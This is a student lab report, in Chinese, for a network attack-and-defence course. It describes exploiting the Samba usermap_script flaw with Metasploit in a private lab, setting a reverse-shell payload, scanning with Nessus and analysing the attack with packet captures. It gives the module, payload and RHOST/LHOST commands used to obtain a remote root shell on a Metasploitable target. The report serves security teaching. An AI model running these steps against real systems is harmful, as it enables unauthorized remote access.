20212923 2021-2022-2 《網絡攻防實踐》第七次作業

20212923 2021-2022-2 《網絡攻防實踐》第七次作業

實踐七:Linux操作系統攻防

課程:《網絡攻防實踐》

班級: 2129

姓名: 王文彬

學號:20212923

實驗教師:王志強

實驗日期:2022年04月30日

必修/選修: 選修

一.實踐內容

1. 實踐要求介紹

  • 使用Metasploit進行Linux遠程滲透攻擊
    • 任務:使用Metasploit滲透測試軟件,攻擊Linux靶機上的Samba服務Usermap_script安全漏洞,獲取目標Linux靶機的主機訪問權限。實踐步驟如下:
      • 啓動Metasploit軟件,可根據個人喜好使用msfconsole、msfgui、msfweb之一;
      • 使用exploit:exploit/multi/samba/usermap_script滲透攻擊模塊;
      • 選擇攻擊PAYLOAD爲遠程shell,(正向或反向連接均可);
      • 設置滲透攻擊參數(RHOST,LHOST,TARGET等);
      • 執行滲透攻擊;
      • 查看是否正確得到遠程Shell,並查看獲得的權限。
  • 實踐作業:攻防對抗實踐
    • 攻擊方:使用 Metasploit ,選擇 Metasploitable 靶機中發現的漏洞進行滲透攻擊,獲得遠程控制權,並嘗試進一步獲得root權限。
    • 防守方:使用 tcpdump/wireshark/snort 監聽獲得網絡攻擊的數據包文件,結合 wireshark/snort 分析攻擊過程,獲得攻擊者的IP、目標IP和端口、攻擊發起時間、攻擊利用漏洞、使用Shellcode、以及成功之後在命令行輸入的信息。

Linux系統遠程攻擊

  • 口令猜測

    • 攻擊目標服務
      • 遠程控制:telnet(23)/rlogin/rsh/ssh(22)
      • FTP:ftp(21)
      • Email:smtp/pop/imap
      • 網絡管理:SNMP
    • 遠程口令猜測工具--Brutus
  • 攻擊Linux網絡服務

    • 對網絡服務守護進程的數據驅動攻擊

      • 緩存區溢出

        • C語言等高級語言中的緩衝區操作函數缺乏邊界保護機制
        • 向緩衝區中填入過多的數據,超出邊界,導致數據外溢,覆蓋了相鄰的內存空間,使得攻擊者利用這些漏洞進行惡意攻擊。
        • 原理:(1)向一個緩衝區中放置超出原始分配空間的數據,造成越界覆蓋;(2)黑客通過精巧構造傳入數據可覆蓋影響程序邏輯的關鍵內容,通過執行注入代碼或非預期代碼,達到訪問目標系統的目的;
        • 類型:(1)棧溢出(2)堆溢出(3)內核緩衝區溢出
      • 格式化字符串

      • 輸入驗證

      • 整數溢出

    • 默認或有害的配置

  • 攻擊Linux網絡客戶端

Samba

Samba是在Linux和UNIX系統上實現SMB協議的一個免費軟件,由服務器及客戶端程序構成。SMB(Server Messages Block,信息服務塊)是一種在局域網上共享文件和打印機的一種通信協議,它爲局域網內的不同計算機之間提供文件及打印機等資源的共享服務。SMB協議是客戶機/服務器型協議,客戶機通過該協議可以訪問服務器上的共享文件系統、打印機及其他資源。通過設置“NetBIOS over TCP/IP”使得Samba不但能與局域網絡主機分享資源,還能與全世界的電腦分享資源。

2.實踐過程

使用Metasploit進行Linux遠程滲透攻擊

機器 IP地址
Kali Linux 192.168.200.69
Metasploi_Ubuntu 192.168.200.68

(1)我們首先需要確保攻擊機和靶機之間能夠進行互通,相互發送ICMP包進行測試:

(2)在攻擊機命令行中輸入msfconsole,打開直接打開Metasploit:![image]
(3)輸入use exploit/multi/samba/usermap_script使用該滲透攻擊模塊[image]

(4)使用set payload generic/shell_reverse_tcp選擇你要用的攻擊負載模塊:

(5)我們可以通過使用show options查看當前攻擊腳本所需要設置的參數;

(6)使用set RHOST 192.168.200.68設置靶機爲ubuntu,set LHOST 192.168.200.69設置攻擊機爲kali,再show options查看是否配置成功,如圖:

(7)輸入exploit開始攻擊,要注意目標主機的445端口要開放,查看445端口是否開放之後,如果沒有開放,則需要開啓445端口。攻擊成功之後輸入若干命令進行測試:

實踐二:攻防對抗實踐

機器 IP地址
Kali Linux 192.168.200.69
Metasploi_Ubuntu 192.168.200.68
WindowsXp 192.168.200.70

(1)首先我們需要對靶機中存在的漏洞進行掃描,我們使用Xp中的Nessus對靶機進行掃描;

  • 首先,我們需要去確定一個規則,選中包含有tcp等各種協議以及端口選項,保存該規則爲test

  • 我們scan選項中確定我們的靶機以及選擇我們剛剛制定的規則;)

  • 進行掃描;

  • 等待後,我們可以看到存在的高危漏洞有5個,其中我們將選擇linux rpc漏洞溢出攻擊測試,Samba NDR MS-RPC請求遠程堆溢出漏洞(CVE-2007-2446)作爲我們滲透的漏洞;

  • 我們可以觀察其端口等相關信息,同時在攻擊時也可以在抓包中顯示。
    (2)當我們確定攻擊漏洞後,我們可以對靶機進行端口掃描;

(3)我們可以再次進入msfconsole後,我們可以輸入search Samba後,我們可以看到如下圖

(4)在整個實驗過程中,我嘗試使用了不同的模塊分別進行了攻擊,如圖所示

(5)從結果來看,只有使用use exploit/multi/samba/usermap_script時我們可以成功滲透,其中在使用其他的模塊中,需要更多的配置文件,出於好奇,我仍舊進行了滲透,但是在嘗試該漏洞不同的模塊攻擊過程中需要更多的配置文件,因此,後來仍舊使用use exploit/multi/samba/usermap_script該模塊進行該一階段的實踐的進行;

(6)其過程與上一實踐幾乎一模一樣,我們可以在最後輸入whoami進行詢問當前用戶是否爲root;

(7)我們從抓包分析中也可以看到我們輸入的相關內容,以及端口、攻擊機ip相關信息。

二、 實驗過程中遇到的問題和解決過程

1. 在實踐過程中,總是出現“攻擊成功,但回話沒有成果鏈接”的字樣?

  • 目前從我查找資料,自己實踐過程認爲,一方面是該模塊不能夠成功攻擊靶機,另一方面,payload的設置應該也會存在一定影響。

三、感想

在此次實踐中,我認爲我所獲得最大的感想就是在於去探索如何使用Metasploit滲透測試軟件,如何針對漏洞進行不同攻擊的開展,同時也發現了不同滲透工具的強大。

四、參考文獻

Metasploitable2靶機滲透

Samba滲透攻擊---Metasploit滲透測試魔鬼訓練營

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章